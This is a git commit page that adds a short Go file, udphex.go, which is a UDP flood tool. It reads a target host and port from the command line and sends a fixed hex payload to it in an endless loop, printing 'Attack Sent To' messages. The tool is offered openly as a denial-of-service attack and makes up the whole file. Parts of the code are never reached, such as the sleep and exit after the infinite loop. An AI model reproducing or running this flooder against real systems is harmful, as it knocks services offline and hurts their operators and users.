Add files via upload
This commit is contained in:
parent
757cdca64a
commit
45adb37a26
1 changed files with 25 additions and 0 deletions
25
udphex.go
Normal file
25
udphex.go
Normal file
|
@ -0,0 +1,25 @@
|
||||||
|
package udphex
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func boom() {
|
||||||
|
target := os.Args[1]
|
||||||
|
port := os.Args[2]
|
||||||
|
conn, err := net.Dial("udp", target+":"+port)
|
||||||
|
if err != nil {
|
||||||
|
print(err)
|
||||||
|
} else {
|
||||||
|
fmt.Println("Attack Sent To " + target + " Using Port " + port + " With udphex!")
|
||||||
|
for {
|
||||||
|
conn.Write([]byte("\x64\x72\x61\x63\x6f\x73\x75\x64\x70\x68\x65\x78"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
time.Sleep(300 * time.Second)
|
||||||
|
fmt.Println("Attack Done!")
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
Loading…
Reference in a new issue